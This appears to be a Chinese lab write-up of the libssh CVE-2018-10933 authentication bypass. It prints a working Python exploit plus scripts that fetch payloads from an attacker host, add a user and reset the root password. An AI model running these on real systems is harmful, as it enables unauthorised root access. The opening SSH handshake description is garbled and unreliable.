预备知识
SSH认证流程
SSH的登录过程:
- *版本号协商阶段:服务器端监听22端口,客户端与服务端建立TCP连接,并且进行SSH版本协商,如果协商成功就进入密钥和算法协商阶段,否则就断开TCP连接;*
- *密钥算法协商阶段:服务器首先将自己的公钥和会话ID发送给客户端,客户端将ID及会话密钥Key进行异或操作,用公钥将异或后的结果加密,发送给服务端。服务端进行反向操作,利用自己的密钥和客户端的公钥解密得到Key值,接下来的传输都是以密钥的形式进行加解密。*
- *口令或密钥认证阶段*:首先是客户端利用自己的私钥和Key进行加密,然后传输到服务器端,服务器端利用自己的私钥和Key进行解密,判断解密后的口令,如果口令错误,发送失败报文和认证列表,客户端收到后重新选择认证,如果认证成功则进入交互界面,如果认证失败则一直循环,直到达到服务器端认证的次数上限,服务器端主动关闭本次TCP连接。
libssh身份认证漏洞:
libssh身份验证绕过漏洞 通过向服务端提供 SSH2_MSG_USERAUTH_SUCCESS
消息来代替服务端启动身份验证 SSH2_MSG_USERAUTH_REQUEST
消息,攻击者可以在没有任何凭据的情况下成功进行身份验证,进而可以执行恶意操作,该漏洞在libssh版本0.6及更高版本中存在。
libssh库
libssh 是一个在客户端和服务端实现SSHv2
协议的跨平台、C语言库。通过它可以执行远程命令
、文件传输
,同时为远程程序提供安全的传输通道
。支持异步链接
、SFTP
、SCP
和OpenSSH
扩展,在同一时间内可支持多个会话。
漏洞分析
解压libssh-0.7.5
源码:
shell
cd /home/yun/cve-2018-10933-libssh/source
tar xvJf libssh-0.7.5.tar.xz
进入解压后的目录,创建build目录并进入目录:
shell
cd libssh-0.7.5
mkdir build && cd build
编译并安装:
shell
cmake -DCMAKE_install_prefix=/usr -DCMAKE_BUILD_TYPE=Debug ..
make
回到libssh-0.7.5
目录下,修改src目录下的auth.c源文件
查找ssh_userauth_password
函数
找到SSH2_MSG_USERAUTH_REQUEST
,并将它替换为SSH2_MSG_USERAUTH_SUCCESS
修改后:
接着修改ssh
状态码,分别替换:
1)找到SSH_AUTH_STATE_NONE
和SSH_PENDING_CALL_AUTH_OFFER_PUBKEY
2)将两处替换为SSH_AUTH_STATE_SUCCESS
和SSH_PENDING_CALL_CONNECT
切换回build
目录,再次编译
创建私钥和公钥:
ssh-keygen
生成过程中会询问多个配置信息,全部点击回车,使用默认设置即可。
创建服务端公私钥,使用默认密钥存储位置 /root/.ssh/id_rsa
。
启动ssh服务端:
shell
./examples/ssh_server_fork -p 7777 127.0.0.1 -v -k /root/.ssh/id_rsa
启动一个新的终端窗口,使用SSH客户端连接服务端:
shell
./examples/samplessh -p 7777 [email protected]
在服务端输出的调试信息中可以找到包类型的分派处理程序(ssh_packet_process
)
根据服务端输出的调试信息,筛掉无用的日志信息,找到ssh_pack_process
,分析可以看出该漏洞的利用点就是发送SSH2_MSG_USERAUTH_SUCCESS
请求,从而进入ssh_packet_userauth_success
函数。
在examples/ssh_server_fork.c
文件中找到ssh_server_callbacks_struct
函数,发现在服务端Demo中进行了设置
在ssh_server_fork.c
文件中找到auth_password
函数
认证成功后的路径:
*ssh_message_auth_reply_success ->ssh_auth_reply_success:*
从源代码可以看出,在正常情况下,在SSH登录成功后,libssh给Session设置了认证成功的状态。
漏洞复现
远程代码执行
启动docker
环境,以提供复现环境。
shell
docker-compose up –d
通过程序发送SSH2_MSG_USERAUTH_SUCCESS消息,触发漏洞,命令成功执行:
shell
python3 libssh_poc.py 172.16.10.148 2222 id
通过libssh_poc.py中的源代码和注释,分析libssh库的利用原理
```python
!/usr/bin/env python3
通过env启动python3解释器
import sys
导入sys模块
import paramiko
导入paramiko模块
import socket
导入paramiko模块
import logging
导入logging模块
logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
指定输出方式为标准输出,日志级别为debug级别。
bufsize = 2048
给变量赋值
def execute(hostname, port, command):
定义了函数execute
sock = socket.socket()
#创建了socket对象
try:
#异常处理语句
sock.connect((hostname, int(port)))
#连接传入的主机和端口号
message = paramiko.message.Message()
#创建了message对象,并且创建了一个ssh2对象
transport = paramiko.transport.Transport(sock)
#创建了一个transport对象。
transport.start_client()
#启动了一个客户端。
message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
#不格式化,将单个字节写入流。
transport._send_message(message)
#发送message消息
client = transport.open_session(timeout=10)
#打开一个session会话。
client.exec_command(command)
#在服务器上执行一个命令
# stdin = client.makefile("wb", bufsize)
stdout = client.makefile("rb", bufsize)
#返回一个文件对象和通道
stderr = client.makefile_stderr("rb", bufsize)
#返回与此通道的stderr流关联的类文件对象
output = stdout.read()
error = stderr.read()
#从标准输出和标准错误中读取内容。
stdout.close()
stderr.close()
#关闭标准输出和标准错误连接。
return (output+error).decode()
#返回标准输出和标准错误的解码内容
except paramiko.SSHException as e:
#捕获异常,输出堆栈跟踪信息
logging.exception(e)
logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")
except socket.error:
#捕获异常,输出堆栈跟踪信息
logging.debug("Unable to connect.")
return None
if name == 'main':
程序的入口,获取传入的参数
print(execute(sys.argv[1], sys.argv[2], sys.argv[3]))
```
GetShell
使用ps –aux
命令查看系统的所有进程,可以看出服务器使用了libssh函数认证库的ssh_server_fork
服务器端:
shell
python3 libssh_poc.py 172.16.10.153 2222 "ps -aux"
Shell脚本源代码分析:
1.sh:
```shell
wget http://172.16.10.152/expect.deb -O /root/expect.deb
wget http://172.16.10.152/2.sh -O /root/2.sh
wget http://172.16.10.152/3.sh -O /root/3.sh
从攻击机下载3个文件
chmod 777 /root/expect.deb && chmod 777 /root/2.sh && chmod 777 /root/3.sh
分别赋予三个文件全部用户和全部组权限
cd /root/ && dpkg -i /root/expect.deb
安装expect命令
useradd sheng
创建sheng用户
```
2.sh:
```shell
!/usr/bin/expect
指定脚本所使用的解释器
spawn passwd sheng
运行passwd sheng命令
expect "password"
send "123456\n"
当捕获到password字符串时,自动输入要设定的密码123456并且回车
expect "Retype"
send "123456\n"
当捕获到Retype字符串时,再次输入要设定的密码123456并且回车
interact
结束程序
```
3.sh:
```shell
!/usr/bin/expect
spawn passwd root
expect "password"
send "root\n"
expect "Retype"
send "root\n"
interact
```
启动攻击机中的Apache服务器,并查看其运行状态:
shell
systemctl start apache2
systemctl status apache2
使用PoC脚本下载1.sh
并运行该脚本,安装expect
解释器:
shell
python3 libssh_poc.py 172.16.10.153 2222 "wget http://172.16.10.152/1.sh -O 1.sh"
给1.sh
文件设置777
权限,并且执行成功执行1.sh
文件
shell
python3 libssh_poc.py 172.16.10.153 2222 "chmod 777 /1.sh && bash 1.sh"
执行2.sh
和3.sh
脚本
shell
python3 libssh_poc.py 172.16.10.153 2222 "./root/2.sh"
shell
python3 libssh_poc.py 172.16.10.153 2222 "./root/3.sh"
通过SSH登录,成功获得root权限
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论